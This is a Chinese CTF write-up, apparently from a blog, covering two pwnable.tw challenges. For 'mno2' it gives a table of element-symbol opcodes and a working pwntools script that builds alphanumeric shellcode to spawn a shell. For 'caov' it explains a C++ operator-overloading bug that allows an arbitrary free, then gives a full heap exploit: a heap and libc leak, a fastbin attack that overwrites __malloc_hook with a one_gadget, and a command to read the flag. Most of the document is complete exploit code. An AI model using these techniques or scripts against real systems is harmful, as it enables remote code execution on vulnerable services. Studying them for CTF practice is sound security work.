分类 pwnable.tw 下的文章

题目分析

究极丧心病狂的题,只能使用元素周期表组合以及数字填充进行shellcode构造。顺带一提,题目名字二氧化锰的来由是写入shellcode的固定地址转ascii转译后的结果。

可用指令分析:

H
   0:   48                      dec    eax
He
   0:   48                      dec    eax
   1:   65                      gs
Li
   0:   4c                      dec    esp
   1:   69                      .byte 0x69
Be
   0:   42                      inc    edx
   1:   65                      gs
B
   0:   42                      inc    edx
C
   0:   43                      inc    ebx
N
   0:   4e                      dec    esi
O
   0:   4f                      dec    edi
F
   0:   46                      inc    esi
Ne
   0:   4e                      dec    esi
   1:   65                      gs
Na
   0:   4e                      dec    esi
   1:   61                      popa
Mg
   0:   4d                      dec    ebp
   1:   67                      addr16
Al
   0:   41                      inc    ecx
   1:   6c                      ins    BYTE PTR es:[edi],dx
Si
   0:   53                      push   ebx
   1:   69                      .byte 0x69
P
   0:   50                      push   eax
S
   0:   53                      push   ebx
Cl
   0:   43                      inc    ebx
   1:   6c                      ins    BYTE PTR es:[edi],dx
Ar
   0:   41                      inc    ecx
   1:   72                      .byte 0x72
K
   0:   4b                      dec    ebx
Ca
   0:   43                      inc    ebx
   1:   61                      popa
Sc
   0:   53                      push   ebx
   1:   63                      .byte 0x63
Ti
   0:   54                      push   esp
   1:   69                      .byte 0x69
V
   0:   56                      push   esi
Cr
   0:   43                      inc    ebx
   1:   72                      .byte 0x72
Mn
   0:   4d                      dec    ebp
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Fe
   0:   46                      inc    esi
   1:   65                      gs
Co
   0:   43                      inc    ebx
   1:   6f                      outs   dx,DWORD PTR ds:[esi]
Ni
   0:   4e                      dec    esi
   1:   69                      .byte 0x69
Cu
   0:   43                      inc    ebx
   1:   75                      .byte 0x75
Zn
   0:   5a                      pop    edx
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Ga
   0:   47                      inc    edi
   1:   61                      popa
Ge
   0:   47                      inc    edi
   1:   65                      gs
As
   0:   41                      inc    ecx
   1:   73                      .byte 0x73
Se
   0:   53                      push   ebx
   1:   65                      gs
Br
   0:   42                      inc    edx
   1:   72                      .byte 0x72
Kr
   0:   4b                      dec    ebx
   1:   72                      .byte 0x72
Rb
   0:   52                      push   edx
   1:   62                      .byte 0x62
Sr
   0:   53                      push   ebx
   1:   72                      .byte 0x72
Y
   0:   59                      pop    ecx
Zr
   0:   5a                      pop    edx
   1:   72                      .byte 0x72
Nb
   0:   4e                      dec    esi
   1:   62                      .byte 0x62
Mo
   0:   4d                      dec    ebp
   1:   6f                      outs   dx,DWORD PTR ds:[esi]
Tc
   0:   54                      push   esp
   1:   63                      .byte 0x63
Ru
   0:   52                      push   edx
   1:   75                      .byte 0x75
Rh
   0:   52                      push   edx
   1:   68                      .byte 0x68
Pd
   0:   50                      push   eax
   1:   64                      fs
Ag
   0:   41                      inc    ecx
   1:   67                      addr16
Cd
   0:   43                      inc    ebx
   1:   64                      fs
In
   0:   49                      dec    ecx
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Sn
   0:   53                      push   ebx
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Sb
   0:   53                      push   ebx
   1:   62                      .byte 0x62
Te
   0:   54                      push   esp
   1:   65                      gs
I
   0:   49                      dec    ecx
Xe
   0:   58                      pop    eax
   1:   65                      gs
Cs
   0:   43                      inc    ebx
   1:   73                      .byte 0x73
Ba
   0:   42                      inc    edx
   1:   61                      popa
La
   0:   4c                      dec    esp
   1:   61                      popa
Ce
   0:   43                      inc    ebx
   1:   65                      gs
Pr
   0:   50                      push   eax
   1:   72                      .byte 0x72
Nd
   0:   4e                      dec    esi
   1:   64                      fs
Pm
   0:   50                      push   eax
   1:   6d                      ins    DWORD PTR es:[edi],dx
Sm
   0:   53                      push   ebx
   1:   6d                      ins    DWORD PTR es:[edi],dx
Eu
   0:   45                      inc    ebp
   1:   75                      .byte 0x75
Gd
   0:   47                      inc    edi
   1:   64                      fs
Tb
   0:   54                      push   esp
   1:   62                      .byte 0x62
Dy
   0:   44                      inc    esp
   1:   79                      .byte 0x79
Ho
   0:   48                      dec    eax
   1:   6f                      outs   dx,DWORD PTR ds:[esi]
Er
   0:   45                      inc    ebp
   1:   72                      .byte 0x72
Tm
   0:   54                      push   esp
   1:   6d                      ins    DWORD PTR es:[edi],dx
Yb
   0:   59                      pop    ecx
   1:   62                      .byte 0x62
Lu
   0:   4c                      dec    esp
   1:   75                      .byte 0x75
Hf
   0:   48                      dec    eax
   1:   66                      data16
Ta
   0:   54                      push   esp
   1:   61                      popa
W
   0:   57                      push   edi
Re
   0:   52                      push   edx
   1:   65                      gs
Os
   0:   4f                      dec    edi
   1:   73                      .byte 0x73
Ir
   0:   49                      dec    ecx
   1:   72                      .byte 0x72
Pt
   0:   50                      push   eax
   1:   74                      .byte 0x74
Au
   0:   41                      inc    ecx
   1:   75                      .byte 0x75
Hg
   0:   48                      dec    eax
   1:   67                      addr16
Tl
   0:   54                      push   esp
   1:   6c                      ins    BYTE PTR es:[edi],dx
Pb
   0:   50                      push   eax
   1:   62                      .byte 0x62
Bi
   0:   42                      inc    edx
   1:   69                      .byte 0x69
Po
   0:   50                      push   eax
   1:   6f                      outs   dx,DWORD PTR ds:[esi]
At
   0:   41                      inc    ecx
   1:   74                      .byte 0x74
Rn
   0:   52                      push   edx
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Fr
   0:   46                      inc    esi
   1:   72                      .byte 0x72
Ra
   0:   52                      push   edx
   1:   61                      popa
Ac
   0:   41                      inc    ecx
   1:   63                      .byte 0x63
Th
   0:   54                      push   esp  
   1:   68                      .byte 0x68  //free push
Pa
   0:   50                      push   eax
   1:   61                      popa
U
   0:   55                      push   ebp
Np
   0:   4e                      dec    esi
   1:   70                      .byte 0x70
Pu
   0:   50                      push   eax
   1:   75                      .byte 0x75
Am
   0:   41                      inc    ecx
   1:   6d                      ins    DWORD PTR es:[edi],dx
Cm
   0:   43                      inc    ebx
   1:   6d                      ins    DWORD PTR es:[edi],dx
Bk
   0:   42                      inc    edx
   1:   6b                      .byte 0x6b
Cf
   0:   43                      inc    ebx
   1:   66                      data16
Es
   0:   45                      inc    ebp
   1:   73                      .byte 0x73
Fm
   0:   46                      inc    esi
   1:   6d                      ins    DWORD PTR es:[edi],dx
Md
   0:   4d                      dec    ebp
   1:   64                      fs
No
   0:   4e                      dec    esi
   1:   6f                      outs   dx,DWORD PTR ds:[esi]
Lr
   0:   4c                      dec    esp
   1:   72                      .byte 0x72
Rf
   0:   52                      push   edx
   1:   66                      data16
Db
   0:   44                      inc    esp
   1:   62                      .byte 0x62
Sg
   0:   53                      push   ebx
   1:   67                      addr16
Bh
   0:   42                      inc    edx
   1:   68                      .byte 0x68
Hs
   0:   48                      dec    eax
   1:   73                      .byte 0x73
Mt
   0:   4d                      dec    ebp
   1:   74                      .byte 0x74
Ds
   0:   44                      inc    esp
   1:   73                      .byte 0x73
Rg
   0:   52                      push   edx
   1:   67                      addr16
Cn
   0:   43                      inc    ebx
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Fl
   0:   46                      inc    esi
   1:   6c                      ins    BYTE PTR es:[edi],dx
Lv
   0:   4c                      dec    esp
   1:   76                      .byte 0x76
11
   0:   31 31                   xor    DWORD PTR [ecx],esi
12
   0:   31 32                   xor    DWORD PTR [edx],esi
13
   0:   31 33                   xor    DWORD PTR [ebx],esi
14
   0:   31                      .byte 0x31
   1:   34                      .byte 0x34
15
   0:   31                      .byte 0x31
   1:   35                      .byte 0x35
16
   0:   31 36                   xor    DWORD PTR [esi],esi
17
   0:   31 37                   xor    DWORD PTR [edi],esi
18
   0:   31 38                   xor    DWORD PTR [eax],edi
19
   0:   31 39                   xor    DWORD PTR [ecx],edi
10
   0:   31 30                   xor    DWORD PTR [eax],esi
21
   0:   32 31                   xor    dh,BYTE PTR [ecx]
22
   0:   32 32                   xor    dh,BYTE PTR [edx]
23
   0:   32 33                   xor    dh,BYTE PTR [ebx]
24
   0:   32                      .byte 0x32
   1:   34                      .byte 0x34
25
   0:   32                      .byte 0x32
   1:   35                      .byte 0x35
   0:   32 36                   xor    dh,BYTE PTR [esi]
27
   0:   32 37                   xor    dh,BYTE PTR [edi]
28
   0:   32 38                   xor    bh,BYTE PTR [eax]
29
   0:   32 39                   xor    bh,BYTE PTR [ecx]
20
   0:   32 30                   xor    dh,BYTE PTR [eax]
31
   0:   33 31                   xor    esi,DWORD PTR [ecx]
32
   0:   33 32                   xor    esi,DWORD PTR [edx]
33
   0:   33 33                   xor    esi,DWORD PTR [ebx]
34
   0:   33                      .byte 0x33
   1:   34                      .byte 0x34
35
   0:   33                      .byte 0x33
   1:   35                      .byte 0x35
36
   0:   33 36                   xor    esi,DWORD PTR [esi]
37
   0:   33 37                   xor    esi,DWORD PTR [edi]
38
   0:   33 38                   xor    edi,DWORD PTR [eax]
39
   0:   33 39                   xor    edi,DWORD PTR [ecx]
30
   0:   33 30                   xor    esi,DWORD PTR [eax]
41
   0:   34 31                   xor    al,0x31
42
   0:   34 32                   xor    al,0x32
43
   0:   34 33                   xor    al,0x33
44
   0:   34 34                   xor    al,0x34
45
   0:   34 35                   xor    al,0x35
46
   0:   34 36                   xor    al,0x36
47
   0:   34 37                   xor    al,0x37
48
   0:   34 38                   xor    al,0x38
49
   0:   34 39                   xor    al,0x39
40
   0:   34 30                   xor    al,0x30
51
   0:   35                      .byte 0x35
   1:   31                      .byte 0x31
52
   0:   35                      .byte 0x35
   1:   32                      .byte 0x32
53
   0:   35                      .byte 0x35
   1:   33                      .byte 0x33
54
   0:   35                      .byte 0x35
   1:   34                      .byte 0x34
55
   0:   35                      .byte 0x35
   1:   35                      .byte 0x35
56
   0:   35                      .byte 0x35
   1:   36                      ss
57
   0:   35                      .byte 0x35
   1:   37                      aaa
58
   0:   35                      .byte 0x35
   1:   38                      .byte 0x38
59
   0:   35                      .byte 0x35
   1:   39                      .byte 0x39
50
   0:   35                      .byte 0x35
   1:   30                      .byte 0x30
61
   0:   36                      ss
   1:   31                      .byte 0x31
62
   0:   36                      ss
   1:   32                      .byte 0x32
63
   0:   36                      ss
   1:   33                      .byte 0x33
64
   0:   36                      ss
   1:   34                      .byte 0x34
65
   0:   36                      ss
   1:   35                      .byte 0x35
66
   0:   36                      ss
   1:   36                      ss
67
   0:   36 37                   ss aaa
68
   0:   36                      ss
   1:   38                      .byte 0x38
69
   0:   36                      ss
   1:   39                      .byte 0x39
60
   0:   36                      ss
   1:   30                      .byte 0x30
71
   0:   37                      aaa    
   1:   31                      .byte 0x31
72
   0:   37                      aaa    
   1:   32                      .byte 0x32
73
   0:   37                      aaa    
   1:   33                      .byte 0x33
74
   0:   37                      aaa    
   1:   34                      .byte 0x34
75
   0:   37                      aaa    
   1:   35                      .byte 0x35
76
   0:   37                      aaa    
   1:   36                      ss
77
   0:   37                      aaa    
   1:   37                      aaa
78
   0:   37                      aaa    
   1:   38                      .byte 0x38
79
   0:   37                      aaa    
   1:   39                      .byte 0x39
70
   0:   37                      aaa    
   1:   30                      .byte 0x30
81
   0:   38 31                   cmp    BYTE PTR [ecx],dh
82
   0:   38 32                   cmp    BYTE PTR [edx],dh
83
   0:   38 33                   cmp    BYTE PTR [ebx],dh
84
   0:   38                      .byte 0x38
   1:   34                      .byte 0x34
85
   0:   38                      .byte 0x38
   1:   35                      .byte 0x35
86
   0:   38 36                   cmp    BYTE PTR [esi],dh
87
   0:   38 37                   cmp    BYTE PTR [edi],dh
88
   0:   38 38                   cmp    BYTE PTR [eax],bh
89
   0:   38 39                   cmp    BYTE PTR [ecx],bh
80
   0:   38 30                   cmp    BYTE PTR [eax],dh
91
   0:   39 31                   cmp    DWORD PTR [ecx],esi
92
   0:   39 32                   cmp    DWORD PTR [edx],esi
93
   0:   39 33                   cmp    DWORD PTR [ebx],esi
94
   0:   39                      .byte 0x39
   1:   34                      .byte 0x34
95
   0:   39                      .byte 0x39
   1:   35                      .byte 0x35
96
   0:   39 36                   cmp    DWORD PTR [esi],esi
97
   0:   39 37                   cmp    DWORD PTR [edi],esi
98
   0:   39 38                   cmp    DWORD PTR [eax],edi
99
   0:   39 39                   cmp    DWORD PTR [ecx],edi
90
   0:   39 30                   cmp    DWORD PTR [eax],esi
01
   0:   30 31                   xor    BYTE PTR [ecx],dh
02
   0:   30 32                   xor    BYTE PTR [edx],dh
03
   0:   30 33                   xor    BYTE PTR [ebx],dh
04
   0:   30                      .byte 0x30
   1:   34                      .byte 0x34
05
   0:   30                      .byte 0x30
   1:   35                      .byte 0x35
06
   0:   30 36                   xor    BYTE PTR [esi],dh
07
   0:   30 37                   xor    BYTE PTR [edi],dh
08
   0:   30 38                   xor    BYTE PTR [eax],bh
09
   0:   30 39                   xor    BYTE PTR [ecx],bh
00
   0:   30 30                   xor    BYTE PTR [eax],dh

主要思路:

  • 把eax赋值为esp,然后向栈中写入esi/edi的值,以便借助异或清空esi/edi
  • 借助Thxxxx这样的push语句和可以pop ecx的语句将ecx指向末位用于制造int 0x80的位置
  • 移动ecx的指针,同时修改esi/edi,借助异或语句制造出int 0x80(至于用什么值异或可以另外写个脚本fuzz以下,可选的对象还是挺多的)
  • esi值得改变通过inc/dec完成,可能会占掉很长一段,需要合理安排
  • 调用到SYS_read之后向最末尾读入可以直接getshell的shellcode(需要提前安排好ecx的位置)

EXP:

from pwn import *

#p = process("./mno2")
p = remote('chall.pwnable.tw','10301')
elf = ELF("./mno2")

context.log_level = "debug"

'''
reg status:
 EAX  0x324f6e4d ◂— dec    eax /* 0x484848; 'HHH' */ shellcode start
 EBX  0x0
 ECX  0x0
 EDX  0x8048890 ◂— dec    eax /* 'H' */
 EDI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 ESI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 EBP  0xffffcf18 ◂— 0x0
 ESP  0xffffcedc —▸ 0x80487ea (main+169) ◂— mov    dword ptr [esp], 0
 EIP  0x324f6e4d ◂— dec    eax /* 0x484848; 'HHH' */
'''

'''
target status1:
eax = 11
ebx -> '/bin/sh' 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
ecx = 0
edx = 0
int 0x80 b'\xcd\x80'
'''
'''
target status2:
eax = 3
ebx =0
ecx = addr(end_of_shellcode)
edx = (big num)
int 0x80 b'\xcd\x80'
'''

shellcode = b"V"   #push esi;
shellcode += b"Th1111"  #push esp; push 0x33333333;
shellcode += b"XeXe"    #pop eax;#pop eax;
shellcode += b"ThMoO2"  #push esp; push 0x324f6e4d(shellcode start)
shellcode += b"30"  #xor esi,DWORD PTR [eax];
shellcode += b"38"  #xor edi,DWORD PTR [eax];
shellcode += b"Y"   #pop ecx;
shellcode += b"O"   #dec edi;
shellcode += b"19"  #xor    DWORD PTR [ecx],edi
shellcode += b"Ag"*1  #inc ecx;addr16;
shellcode += b"F"*0x46  #inc esi;
shellcode += b"11"  #xor    DWORD PTR [ecx],esi
shellcode += b"Ag"*1  #inc ecx;addr16; new shellcode start
shellcode += b"V"   #push esi;
shellcode += b"Xe"  #pop eax;
shellcode += b"Th1111"  #pad;
shellcode += b"Hg"*0x43  #dec eax;
shellcode += b"B"*(0x100-len(shellcode))
shellcode += b"29"


def exp():
    #gdb.attach(p, "b *0x80487E8\nc\n")
    p.sendline(shellcode)
    p.sendline(asm(shellcraft.sh()))
    p.interactive()

if __name__ == "__main__":
   exp()

漏洞点:

  • 虽然给了源码但是漏洞得看二进制文件才能看出,结合flag,这是C++运算符重载相关的漏洞
  • edit的时候存在栈复用,可以任意指针free

漏洞原理:

  • 正常运算符重载的写法(这里只讨论写为成员函数)需要在成员函数末尾return *this,同时返回值需要为当前对象类型的引用类型,这个返回值会作为其他运算的右值,如a = b = c,为了保证程序正常,这个值必须要存在。
  • 如果不主动写return *this,g++在编译的时候,会把返回值指针指向栈上一段同类型大小的空内存(填充为null),把这段空内存作为右值(隐式的return)然后析构这段内存。析构时遇到对象指针会先判断是否为空再执行delete
  • 但是空内存可以借助栈复用进行修改,构造出我们自定义的指针,这样在析构函数中如果有对某些指针域的delete,就可以构造出任意地址free

利用思路:

  • 难点在第一步的leak heap。通过在bss上构造fakechunk和自定义指针freebss上的chunk,然后借助一个非法size值跳过最后的析构避免doublefree,这样可以在不触发0截断时输出free过chunk上的fd值。具体细节,其实挺复杂,只可意会不可言传。
  • leak heap之后修改堆上对象内存指针指向保存了libc地址的位置,调用info成员函数leak libc
  • 最后打__malloc_hook(需要__realloc_hook间接补全栈条件)

EXP

from pwn import *

#p = process("./caov")
p = remote("chall.pwnable.tw", 10306)
elf = ELF("./caov")
libc = ELF("./libc_64.so.6")
#libc = ELF("./libc.so.6")

context.log_level = "debug"

def show():
    p.recvuntil("Your choice: ")
    p.sendline(b"1")

def edit(name, key_len:int, key, value):
    p.recvuntil("Your choice: ")
    p.sendline(b"2")
    p.recvuntil("Enter your name: ")
    p.sendline(name)
    p.recvuntil("New key length: ") 
    p.sendline(str(key_len).encode())
    if key_len > 1000:
        return
    p.recvuntil("Key: ")
    p.sendline(key)
    p.recvuntil("Value: ")
    p.sendline(str(value).encode())

def go_exit():
    p.recvuntil("Your choice: ")
    p.sendline(b"3")

def exp():
    #const
    bss_name = 0x6032C0
    fake_chunk = 0x6032a0 + 0x2 - 0x8
    one_local = [0x45226, 0x4527a, 0xf0364, 0xf1207]
    one_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
    read_got = 0x602F40

    #init
    init_name = b"eqqie"
    init_key = b"\x00"*0x30
    init_value = str(0xdeadbeef).encode()
    p.recvuntil("Enter your name: ")
    p.sendline(init_name)
    p.recvuntil("Please input a key: ")
    p.sendline(init_key)
    p.recvuntil("Please input a value: ")
    p.sendline(init_value)

    #leak heap

    #gdb.attach(p, "b *0x4014c2\nb *0x4014f5\nb *0x401563\nc\n")
    #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
    payload1 = p64(0)+p64(0x20)+b"DDDDDDDD"
    payload1 = payload1.ljust(0x20, b"A")
    payload1 += p64(0x20) + p64(0x20)
    payload1 = payload1.ljust(0x60, b"A")
    payload1 += p64(bss_name+0x10)
    edit(payload1, 20, b"A"*20, 0xdeadbeef)

    payload2 = p64(0)+p64(0x41)+p64(0)
    payload2 = payload2.ljust(0x40, b"A")
    payload2 += p64(0x00) + p64(0x20)
    payload2 = payload2.ljust(0x60, b"A")
    payload2 += p64(bss_name+0x10)
    edit(payload2, 1020, b"1", 0xdeadbeef)

    p.recvuntil(b"Key: ")
    p.recvuntil(b"Key: ")
    heap_leak = u64(p.recv(3).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x11c90
    data_obj = heap_base + 0x11ce0 - 0x10
    heap_with_libc = heap_base + 0x11e30
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    print("data_obj:", hex(data_obj))
    print("heap_with_libc:", hex(heap_with_libc))
    #gdb.attach(p)

    # get obj chunk && leak libc
    #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
    payload3 = p64(0)
    payload3 = payload3.ljust(0x60, b"B")
    payload3 += p64(data_obj+0x10)
    edit(payload3, 0x30, p64(read_got), 0xdeadbeef)
    show()
    p.recvuntil(b"Key: ")
    libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - libc.symbols[b"read"]
    one_gadget = libc_base + one_remote[1]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    fake_chunk = malloc_hook - 0x23
    realloc = libc_base + libc.symbols[b"realloc"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("one_gadget:", hex(one_gadget))
    print("malloc_hook:", hex(malloc_hook))
    print("fake_chunk:", hex(fake_chunk))

    # get malloc_hook
    ## fakebin akkack
    payload4 = p64(0) + p64(0x71)
    payload4 = payload4.ljust(0x60, b"A")
    payload4 += p64(bss_name+0x10)
    payload4 = payload4.ljust(0x70, b"A")
    payload4 += p64(0x70) + p64(0x21)
    edit(payload4, 1020, b"1", 0xdeadbeef)

    ## fake fd
    payload5 = p64(0) + p64(0x71)
    payload5 += p64(fake_chunk)
    edit(payload5, 1020, b"1", 0xdeadbeef)

    ## get fake chunk
    edit(p64(0) + b"\x71", 0x60, b"1", 0xdeadbeef)
    #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
    edit(b"eqqie", 0x60, b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc), 0xdeadbeef)

    p.sendline("cat /home/*/flag")
    p.interactive()


if __name__ == "__main__":
    exp()